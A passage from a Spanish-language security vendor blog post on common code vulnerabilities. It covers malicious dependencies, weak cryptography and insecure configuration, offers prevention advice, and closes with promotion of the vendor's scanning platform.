Un caso dramático ocurrió en septiembre de 2025, cuando tuvo lugar uno de los mayores compromisos de npm de la historia. Los atacantes hicieron phishing a un mantenedor de paquetes populares como debug y chalk (¡que juntos tenían más de 2 mil millones de descargas semanales!) y obtuvieron el control de su cuenta de npm. Luego publicaron actualizaciones infectadas para 18 paquetes, añadiendo código malicioso dirigido a carteras de criptomonedas en páginas web. Los desarrolladores que actualizaron inocentemente a estas nuevas versiones, en esencia, introdujeron malware. El código malicioso se enganchó a las APIs web para robar criptomonedas intercambiando direcciones de monedero durante las transacciones. Este incidente fue masivo: puso en riesgo a millones de aplicaciones potenciales hasta que los paquetes fueron retirados y parcheados. Es un crudo recordatorio de que incluso los paquetes ampliamente confiables pueden convertirse repentinamente en troyanos si sus mantenedores se ven comprometidos.

Otros ejemplos: el paquete npm event-stream fue comprometido en 2018 para robar claves de monederos Bitcoin de una aplicación específica. En 2021, PyPI sufrió una oleada de ataques de typosquatting, donde los atacantes subieron paquetes con nombres similares a los populares (por ejemplo, urlib3 en lugar de urllib3) que contenían puertas traseras. Cualquiera que escribiera mal el nombre instalaba el paquete malicioso. Incluso herramientas de infraestructura han sido afectadas: imágenes de Docker Hub, extensiones de VSCode, lo que sea.

Impacto: Una dependencia maliciosa puede ejecutar cualquier código con los mismos privilegios que tu aplicación. Esto significa que podría robar los datos de tu aplicación, exfiltrar secretos (claves API, credenciales de base de datos) de tu entorno, plantar puertas traseras o pivotar para atacar otros sistemas. Los ataques a la cadena de suministro (Supply chain attacks) efectivamente vuelven el modelo de confianza en nuestra contra: confiamos en que los paquetes de código abierto son benignos, por lo que los incluimos libremente. Una vez que esa confianza es traicionada, el impacto puede ser generalizado y muy difícil de detectar (¿cuántos desarrolladores inspeccionan cada línea de código en sus node_modules? Ninguno). La escala es lo que lo hace tan peligroso: comprometer un paquete popular y potencialmente vulnerar miles de aplicaciones descendentes de una sola vez.

Prevención: Defenderse contra dependencias maliciosas es un desafío, pero existen buenas prácticas:

  • Fija y verifica las versiones: No actualices automáticamente tus dependencias a la última versión sin revisión. Utiliza archivos de bloqueo o fijaciones de versión explícitas para que una actualización maliciosa repentina no se cuele automáticamente. Cuando se lance una nueva versión de una dependencia crítica, echa un vistazo al changelog o al diff si es posible, especialmente si es un paquete de alto impacto.
  • Usa las características de integridad de paquetes: Los gestores de paquetes como npm y PyPI soportan la verificación de firmas o sumas de comprobación de paquetes. Para npm, obtienes un hash de integridad SHA-512 en el archivo de bloqueo; la probabilidad de que un atacante produzca una colisión de hash es insignificante, por lo que esto puede asegurar que estás instalando exactamente lo que crees. Algunos ecosistemas tienen paquetes firmados; si están disponibles, utiliza esa característica.
  • Monitoriza los avisos: Los avisos de seguridad y las herramientas de monitorización proactiva pueden señalar si un paquete está comprometido. En algunos incidentes importantes, las alertas se emitieron muy rápidamente. Los proyectos y plataformas mantienen fuentes de amenazas para paquetes maliciosos, que pueden advertirte o bloquear la instalación de paquetes conocidos como defectuosos.
  • Menor privilegio y sandboxing: Considera ejecutar compilaciones o instalaciones de paquetes en entornos aislados. Si un paquete malicioso se ejecuta, puede causar menos daño en un sandbox o un contenedor con permisos limitados. Además, en tiempo de ejecución, intenta ejecutar tu aplicación con los privilegios mínimos necesarios, de modo que si una librería se vuelve maliciosa, tenga un acceso mínimo (por ejemplo, no ejecutes tu aplicación Node.js como root en el servidor).
  • Audita el código si es factible: Esto es difícil a gran escala, pero para dependencias muy cruciales, podría valer la pena realizar una auditoría rápida del código o utilizar herramientas automatizadas que analicen el comportamiento del paquete. Algunas herramientas intentan detectar si una actualización de repente comienza a cortar conexiones de red o a leer variables de entorno de forma sospechosa.

En resumen, mantente vigilante con tu cadena de suministro. La comunidad está desarrollando más herramientas para combatir esto (npm ahora tiene 2FA para mantenedores, etc.), pero en última instancia, como consumidor de paquetes, debes estar atento a lo que introduces en tu aplicación. El uso de una solución automatizada para escanear malware en las dependencias puede proporcionar una capa adicional de defensa, detectando el código malicioso antes de que te afecte.

9. Prácticas de Criptografía Débil

Incluso cuando los desarrolladores intentan asegurar los datos, cómo lo hacen importa. Usar la criptografía incorrectamente puede dar una falsa sensación de seguridad. Los errores comunes incluyen el uso de algoritmos obsoletos o débiles, la mala gestión de claves o la implementación manual de protocolos criptográficos (y hacerlo mal). Estos errores no siempre conducirán a una CVE obvia, pero socavan las protecciones que pretendías implementar.

Algunos ejemplos:

  • Hashing Débil para Contraseñas: Almacenar contraseñas utilizando un hash rápido como MD5 o SHA-1 (o peor, sin salt) es peligroso. Los hashes rápidos pueden ser descifrados mediante fuerza bruta o tablas rainbow muy rápidamente con hardware moderno. Ha habido muchas brechas donde las empresas hashearon contraseñas pero aun así sufrieron porque los atacantes descifraron esos hashes. Por eso, el estándar de la industria es usar hashing lento y computacionalmente intensivo (bcrypt, scrypt, Argon2) con sales.
  • Claves Criptográficas Hardcodeadas o Reutilizadas: Hemos visto a desarrolladores subir claves secretas JWT, secretos HMAC de API o claves de cifrado a repositorios públicos (esto se solapa con el problema de los secretos). Si un atacante obtiene tu clave simétrica, puede falsificar tokens o descifrar datos a voluntad. De manera similar, reutilizar la misma clave en diferentes entornos o usar claves predeterminadas (algunos frameworks solían incluir un secreto JWT predeterminado para el modo de desarrollo que la gente olvidaba cambiar) puede llevar a un compromiso.
  • Aleatoriedad Insegura: Usar generadores de números aleatorios no criptográficamente seguros para tokens sensibles a la seguridad. Por ejemplo, usar Math.random() en JavaScript para generar un token de restablecimiento de contraseña; eso es lo suficientemente predecible como para ser atacado por fuerza bruta. Ha habido CVEs en lenguajes por una mala generación de números aleatorios, pero más a menudo es un desarrollador que no se da cuenta de que necesita algo como crypto.randomBytes o SecureRandom.
  • Criptografía y Protocolos Personalizados: «No implementes tu propia criptografía» es una sabiduría ancestral. Implementar tu propio algoritmo o protocolo de cifrado probablemente introducirá fallos. Por ejemplo, un desarrollador podría decidir cifrar datos con AES pero usar el modo ECB (que es inseguro porque no aleatoriza bloques idénticos); este patrón ha aparecido en algunas librerías de cifrado caseras y ha llevado a la divulgación de información. Otro ejemplo: no verificar las firmas correctamente (por ejemplo, no comprobar la cadena de certificados en una conexión SSL/TLS, deshabilitando efectivamente la validación, lo que ha llevado a vulnerabilidades de hombre en el medio en algunas aplicaciones).

Impacto: Una criptografía débil puede resultar en filtraciones de datos y derivaciones de autenticación. Si las contraseñas son fácilmente descifrables, una brecha en su base de datos de contraseñas hash significa que los atacantes obtendrán un gran porcentaje de las contraseñas reales. Si los tokens o las cookies se firman con una clave débil (o ninguna en absoluto), los atacantes pueden falsificar esos tokens para suplantar a los usuarios (así es como funcionó el fiasco de JWT “alg:none”, que esencialmente significaba “sin firma”). Si la encriptación se realiza incorrectamente, los atacantes podrían descifrar datos sensibles o manipularlos sin ser detectados. Esencialmente, usted cree que sus datos están seguros, pero no lo están, y eso puede ser catastrófico porque podría no implementar otras protecciones, asumiendo que la criptografía lo cubre.

Prevención: Siga rigurosamente las mejores prácticas y estándares establecidos:

  • Utilice bibliotecas criptográficas probadas en lugar de escribir las suyas propias. Utilice los protocolos más recientes (TLS 1.3 sobre TLS 1.0, JWT con algoritmos robustos o, mejor aún, tokens opacos con almacenamiento en el lado del servidor si es posible, etc.).
  • Elija algoritmos y modos robustos: AES-GCM o ChaCha20-Poly1305 para encriptación, RSA o ECDSA con longitudes de clave adecuadas para firmas, PBKDF2/bcrypt/Argon2 para hashing de contraseñas, etc. Evite los algoritmos obsoletos (MD5, SHA-1, DES, RC4, etc.).
  • Gestione las claves de forma segura: no las codifique (de nuevo, gestión de secretos), rote las claves periódicamente y utilice claves separadas para propósitos separados. Si utiliza JWT, asegúrese de que el secreto o la clave de firma sean lo suficientemente complejos y se almacenen de forma segura.
  • Para valores aleatorios (claves API, tokens, nonces), utilice generadores de números aleatorios criptográficamente seguros. En la mayoría de los lenguajes, es una función específica: por ejemplo, crypto.randomBytes en Node, System.Security.Cryptography.RandomNumberGenerator en .NET, java.security.SecureRandom en Java (con una buena fuente).
  • Al utilizar bibliotecas criptográficas, lea su documentación sobre el uso adecuado. Muchos errores provienen de un uso indebido. Por ejemplo, si está utilizando PyCrypto o el paquete criptográfico de Go, asegúrese de proporcionar un IV único para cada llamada de encriptación, no reutilice los nonces, etc. Muchas bibliotecas establecen valores predeterminados seguros, pero no todas.
  • Pruebas y Revisión: Incluya pruebas que aseguren, por ejemplo, que no se pueda descifrar fácilmente una contraseña hash o que los datos encriptados no puedan ser manipulados. Considere utilizar herramientas como linters o analizadores criptográficos que puedan señalar algoritmos débiles. Existen reglas de análisis estático para detectar el uso de MD5 o IVs constantes, por ejemplo. El escaneo de Aikido puede detectar algunos patrones de uso criptográfico débiles (como el uso de funciones hash inseguras) y le alertaría sobre ellos para que pueda actualizar a alternativas más seguras.

En resumen, la criptografía robusta es su aliada, pero solo si se utiliza correctamente. Aproveche las implementaciones y configuraciones validadas por la comunidad. En caso de duda, consulte a expertos en seguridad o recursos para encontrar el enfoque correcto en lugar de adivinar. Un poco de tiempo extra invertido en configurar correctamente la criptografía puede evitarle una brecha importante en el futuro.

10. Configuraciones de seguridad incorrectas y valores predeterminados inseguros

No todas las vulnerabilidades provienen de la lógica del código; a veces es la forma en que la aplicación está configurada (o mal configurada) lo que abre una brecha. La configuración de seguridad incorrecta es una categoría amplia, pero en el contexto del código, nos referimos a aspectos como dejar los modos de depuración habilitados, usar credenciales predeterminadas o configuraciones de ejemplo, mensajes de error detallados que filtran información o no configurar los encabezados de seguridad. Estos son a menudo descuidos simples que pueden tener consecuencias nefastas.

Ejemplos:

  • Dejar el modo de depuración activado: Muchos frameworks (Django, Flask, Rails, etc.) tienen un modo de depuración/desarrollo que nunca debería estar habilitado en producción. En modo de depuración, los frameworks a menudo proporcionan páginas de error enriquecidas e incluso consolas interactivas. Por ejemplo, el depurador Werkzeug en Flask le permitirá ejecutar código Python arbitrario a través del navegador, lo cual es excelente para el desarrollo, pero si se deja habilitado en producción (y si un atacante puede acceder a él), es una RCE instantánea. Ha habido casos en los que aplicaciones Flask mal configuradas estaban expuestas a internet con el modo de depuración activado, y los atacantes tomaron fácilmente el control del servidor. (Este problema es tan conocido que los frameworks muestran grandes advertencias, pero aún ocurre ocasionalmente.)
  • Credenciales/Configuraciones predeterminadas: Los ejemplos incluyen dejar la contraseña de administrador predeterminada como “admin” o no cambiar las claves API predeterminadas. En el código, quizás utilizó un tutorial que tenía un secreto JWT de ejemplo “secret123” y nunca lo cambió; ¡ups!, eso significa que cualquiera podría falsificar tokens. O un SDK de almacenamiento en la nube podría tener un nombre de bucket o una regla de acceso predeterminados que usted no anuló, dejando algo público inadvertidamente.
  • Mensajes de error detallados y trazas de pila: Si su aplicación muestra trazas de pila completas o volcados de errores al usuario, un atacante puede obtener mucha información (versiones de software, rutas internas, estructuras de consulta). Esa información puede facilitar otros ataques como la inyección SQL (conociendo la estructura de la consulta a partir de un mensaje de error) o identificar qué versiones de bibliotecas utiliza.
  • Encabezados y configuraciones de seguridad: No configurar su aplicación web con encabezados seguros (Content Security Policy, X-Frame-Options, HSTS, etc.) no es una vulnerabilidad directa en su código, pero no logra mitigar ciertas clases de ataques. De manera similar, permitir que su aplicación se ejecute en HTTP (sin redirigir a HTTPS) o no validar los certificados TLS si su código realiza solicitudes salientes puede considerarse una configuración incorrecta que conduce a exploits (como MITM).
  • Permisos de archivos/directorios y cargas: Si su aplicación guarda archivos subidos por los usuarios en un directorio accesible por la web sin ninguna comprobación, un atacante podría subir un script y luego acceder a él directamente a través de una URL; ahora han ejecutado código de forma efectiva en su servidor (así es como funcionaban muchos exploits antiguos de PHP). Esto podría considerarse una configuración incorrecta de la aplicación (no prevenir tipos de archivos peligrosos y no aislar las cargas correctamente).

Impacto: Las configuraciones incorrectas pueden llevar a un compromiso inmediato al igual que los errores de código. Por ejemplo, una interfaz de administración sin contraseña (¡ocurre!) es básicamente una puerta abierta. Una consola de depuración activada puede otorgar acceso de shell a un atacante. Los mensajes de error detallados pueden ayudar a los atacantes a encontrar una inyección SQL o un vector XSS. Así que, aunque las configuraciones incorrectas puedan sonar como “oh, eso es solo una configuración”, pueden ser tan letales como cualquier otra vulnerabilidad. La brecha de Uber de 2024, por ejemplo, supuestamente comenzó con una herramienta de administración expuesta sin MFA, lo cual es un problema de configuración incorrecta de acceso.

Prevención: La buena noticia es que las configuraciones incorrectas suelen ser fáciles de solucionar una vez identificadas. A menudo se reduce a mantener una lista de verificación de configuración endurecida:

  • Deshabilite los modos de depuración/desarrollo en producción. Verifique dos veces antes de desplegar. Muchos frameworks permiten una variable de entorno o un flag de configuración; asegúrese de que esté configurado correctamente. Incluso puede incluir una aserción en el código para negarse a ejecutar si la depuración está activada en un entorno no local.
  • Cambie todas las contraseñas y secretos predeterminados. Esto es básico, pero debe enfatizarse. Cualquier cosa que venga con una credencial predeterminada debe cambiarse en la primera instalación. Si utiliza algún tipo de código boilerplate o plantilla que tenga claves o contraseñas de ejemplo, búsquelas en su base de código y reemplácelas con valores seguros.
  • Maneje los errores de forma elegante. Configure una página de error genérica para los usuarios. Registre el error detallado internamente, pero no exponga las trazas de pila a los usuarios finales. Además, considere qué información devuelven los errores de su API; no filtre cosas como consultas SQL completas o rutas de archivos del servidor.
  • Aplique encabezados de seguridad y mejores prácticas. Utilice bibliotecas o middleware que establezcan encabezados seguros (muchos frameworks tienen un módulo de seguridad que puede habilitar). Imponga HTTPS y utilice HSTS para evitar la degradación a HTTP. Si su aplicación necesita permitir iframes o cross-origin, configúrelo deliberadamente; si no, establezca X-Frame-Options DENY, etc.
  • Manejo de carga de archivos: Si su aplicación maneja cargas de archivos, almacénelos fuera de la raíz web o renómbrelos a extensiones benignas. Valide los tipos de archivo. Y asegúrese de que la cuenta bajo la cual se ejecuta su aplicación tenga solo los permisos de archivo que realmente necesita; contenga el radio de explosión.
  • Configuraciones de plataforma actualizadas: Mantenga su servidor de aplicaciones y sus dependencias actualizados para beneficiarse de los valores predeterminados seguros. Por ejemplo, las versiones más recientes de los frameworks podrían habilitar una seguridad más estricta por defecto.

La implementación de escaneos automatizados para configuraciones erróneas puede ser de gran ayuda. Herramientas como la plataforma de Aikido pueden escanear tu aplicación e infraestructura en busca de patrones comunes de configuración errónea, como buscar «DEBUG = True» en un archivo de configuración de Python o verificar si tu sitio envía encabezados de seguridad. Estas comprobaciones suelen formar parte de una suite de pruebas de seguridad de aplicaciones.

Finalmente, considera el uso de infraestructura como código (IaC) y pipelines de DevOps para aplicar estándares de configuración. Si contenerizas tu aplicación, por ejemplo, puedes programar el contenedor para que falle si ciertas variables de entorno (como un flag de depuración de producción) están presentes. La clave es no tratar la configuración de despliegue como un aspecto secundario, sino como una parte integral de la seguridad de tu aplicación.

Integrando la seguridad en tu pipeline de desarrollo

Hemos cubierto mucho terreno, desde las inyecciones clásicas y XSS hasta los matices de los ataques a la cadena de suministro y los errores criptográficos. Si hay un tema recurrente, es que la codificación segura es un esfuerzo continuo. Se cometerán errores, surgirán nuevas vulnerabilidades en tus dependencias y los atacantes seguirán buscando ese único descuido. La mejor manera de mantenerse a la vanguardia es construir un proceso de desarrollo resiliente que detecte los problemas de forma temprana y continua.

Esto implica adoptar prácticas como revisiones de código con una mentalidad de seguridad, actualizaciones regulares de dependencias e integración de pruebas de seguridad en CI/CD. Las herramientas automatizadas son tu aliado aquí. Por ejemplo, las pruebas de seguridad de aplicaciones estáticas (SAST) pueden analizar tu código a medida que lo escribes, marcando patrones de riesgo (cadenas SQL, llamadas a funciones peligrosas) antes de que se ejecuten. Los escáneres de dependencias te alertarán en el momento en que un nuevo CVE afecte a una librería en tu repositorio, algo crucial cuando los exploits se convierten en armas en cuestión de horas. El escaneo de secretos puede evitar ese momento de «ups» al subir una clave API a GitHub. Y los escaneos de contenedores/infraestructura pueden asegurar que tus configuraciones de despliegue estén reforzadas.

En Aikido, creemos en hacerlo amigable para desarrolladores. Nos encantan las herramientas de código abierto como ESLint, Semgrep, Trivy, etc., pero también sabemos que encadenar un montón de escáneres puede convertirse en un dolor de cabeza para los equipos de desarrollo. Por eso, plataformas como Aikido integran múltiples comprobaciones de seguridad (SAST, SCA, secretos, IaC, escaneo de contenedores) con reglas personalizadas y capacidades de autofix, para que obtengas una cobertura completa con una buena DX. El objetivo es sacar a la luz vulnerabilidades reales con contexto completo e incluso proporcionar soluciones automatizadas o guía, directamente en tu flujo de trabajo. Por ejemplo, si Aikido marca una librería vulnerable, puede sugerir la versión segura a la que actualizar (y hacerlo por ti). Si encuentra un secreto, puede ayudarte a rotarlo y prevenir su recurrencia. Esto reduce la carga sobre los desarrolladores para que se conviertan en expertos en seguridad en cada vulnerabilidad; las herramientas asisten y aprendes sobre la marcha.

Como desarrollador, tienes el poder de hacer tu software más seguro para todos. Empieza tratando los fallos de seguridad con la misma importancia que los fallos funcionales. Incorpora las principales vulnerabilidades que hemos comentado en tus casos de prueba y modelos de amenazas. Y no lo hagas solo: aprovecha las herramientas y servicios de seguridad que se integren en tu IDE y CI. Puedes empezar ejecutando un escaneo gratuito con Aikido o plataformas similares en uno de tus proyectos para ver qué encuentra. ¡A menudo es esclarecedor! Configura estas herramientas para que se ejecuten en cada pull request, de modo que los problemas se detecten a tiempo, cuando su solución es más económica.

La codificación segura es un viaje, no un destino. Pero al ser consciente de estos tipos comunes de vulnerabilidades y utilizar proactivamente las prácticas y herramientas adecuadas, puedes reducir drásticamente tu riesgo. Despleguemos código que no solo sea increíble, sino seguro por diseño. Tus usuarios (y tu yo futuro) te lo agradecerán.

Sigue leyendo:
Las 9 principales vulnerabilidades de seguridad de contenedores Docker    
Las 7 principales vulnerabilidades de seguridad en la nube    
Las 10 principales vulnerabilidades de seguridad de aplicaciones web que todo equipo debería conocer    
Las 9 principales vulnerabilidades y configuraciones erróneas de seguridad Kubernetes    
Las 10 principales vulnerabilidades de seguridad de Python que los desarrolladores deberían evitar    
Las principales vulnerabilidades de seguridad de JavaScript en aplicaciones web modernas    
Las 9 principales vulnerabilidades de seguridad de la cadena de suministro de software explicadas

Compartir:

https://www.aikido.dev/blog/code-security-vulnerabilities

Suscríbase para recibir noticias sobre amenazas.

Empieza hoy, gratis.

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.